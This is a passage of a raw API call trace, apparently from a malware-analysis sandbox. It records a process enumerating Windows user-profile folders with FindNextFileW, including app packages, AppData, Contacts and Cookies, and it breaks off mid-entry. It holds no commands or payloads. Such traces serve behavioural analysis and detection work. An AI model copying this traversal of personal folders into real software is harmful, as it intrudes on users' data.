ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xec8930d8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xecaaa968, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.Photos_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.PHO")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.SecHealthUI_cw5n1h2txyewy", cAlternateFileName="MICROS~3.SEC")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8333af6e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x70e206ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x70e206ba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy", cAlternateFileName="MICROS~1.SEC")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702a7000, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702a7000, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy", cAlternateFileName="MICROS~2.SEC")) returned 1 [0245.544] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd6e44f49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd6e44f49, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.SHE")) returned 1 [0245.544] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.WindowPicker_cw5n1h2txyewy", cAlternateFileName="MI948A~1.WIN")) returned 1 [0245.544] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8681db72, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8769207c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.WindowsAlarms_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.WIN")) returned 1 [0245.544] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4d85f5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc2086555, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc2086555, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.WindowsCalculator_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.WIN")) returned 1 [0245.544] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c767cf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef547375, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xef81c039, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.WindowsCamera_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.WIN")) returned 1 [0245.544] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf1aae2a1, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf1aae2a1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.windowscommunicationsapps_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.WIN")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed548e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbede9823, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbede9823, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe", cAlternateFileName="MIDE9E~1.WIN")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbd8024eb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbd8024eb, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.WindowsMaps_8wekyb3d8bbwe", cAlternateFileName="MID92F~1.WIN")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xb907b89d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb907b89d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.WindowsPhone_8wekyb3d8bbwe", cAlternateFileName="MI7D5A~1.WIN")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6670683, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9690fc23, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x96d8829d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe", cAlternateFileName="MIA6CE~1.WIN")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4097064, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef652437, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xef8b4999, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.WindowsStore_8wekyb3d8bbwe", cAlternateFileName="MI052B~1.WIN")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x94eafafc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x950534fc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.XboxApp_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.XBO")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91227223, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6f3e6702, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6f58a0ab, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.XboxGameCallableUI_cw5n1h2txyewy", cAlternateFileName="MICROS~2.XBO")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b10a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x936165c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x936165c3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.XboxGameOverlay_8wekyb3d8bbwe", cAlternateFileName="MIF834~1.XBO")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf22e0430, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf22e0430, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.XboxIdentityProvider_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.XBO")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.XBO")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9120e63a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x913b2022, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ZuneMusic_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.ZUN")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8efa262b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8f25108d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ZuneVideo_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.ZUN")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x788510a7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x789ce851, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows.ContactSupport_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.CON")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddb3df96, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a8cfa4e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3a8cfa4e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="windows.devicesflow_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.DEV")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b315bfa, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd8832b29, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd8832b29, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="windows.immersivecontrolpanel_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.IMM")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x77c3f1ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77c3f1ef, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows.MiracastView_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.MIR")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x715dffc9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x715dffc9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows.PrintDialog_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.PRI")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3af37fe8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3af37fe8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="windows_ie_ac_001", cAlternateFileName="WINDOW~1")) returned 1 [0245.545] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3af37fe8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3af37fe8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="windows_ie_ac_001", cAlternateFileName="WINDOW~1")) returned 0 [0245.545] FindClose (in: hFindFile=0x41c16b0 | out: hFindFile=0x41c16b0) returned 1 [0245.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0245.546] FindNextFileW (in: hFindFile=0x41c1930, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdf9e1b08, ftLastWriteTime.dwHighDateTime=0x1d32734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0245.546] FindNextFileW (in: hFindFile=0x41c1930, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0245.546] FindNextFileW (in: hFindFile=0x41c1930, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6f6a4d1, ftCreationTime.dwHighDateTime=0x1d5d815, ftLastAccessTime.dwLowDateTime=0xb6f6a4d1, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xb6f6a4d1, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x1db5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resmon.ResmonCfg", cAlternateFileName="RESMON~1.RES")) returned 1 [0245.546] FindNextFileW (in: hFindFile=0x41c1930, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f4b7eb4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x8f4b7eb4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0245.546] FindNextFileW (in: hFindFile=0x41c1930, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0245.546] FindNextFileW (in: hFindFile=0x41c1930, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0245.547] FindNextFileW (in: hFindFile=0x41c1930, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0245.547] FindNextFileW (in: hFindFile=0x41c1930, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1033969, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xd1033969, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0245.547] FindNextFileW (in: hFindFile=0x41c1930, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1033969, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xd1033969, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0245.547] FindClose (in: hFindFile=0x41c1930 | out: hFindFile=0x41c1930) returned 1 [0245.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0245.548] FindNextFileW (in: hFindFile=0x41c1b30, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0245.548] FindNextFileW (in: hFindFile=0x41c1b30, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcff10abb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xcff10abb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roaming", cAlternateFileName="")) returned 1 [0245.548] FindNextFileW (in: hFindFile=0x41c1b30, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcff10abb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xcff10abb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roaming", cAlternateFileName="")) returned 0 [0245.548] FindClose (in: hFindFile=0x41c1b30 | out: hFindFile=0x41c1b30) returned 1 [0245.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0245.548] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0245.548] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0245.548] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, 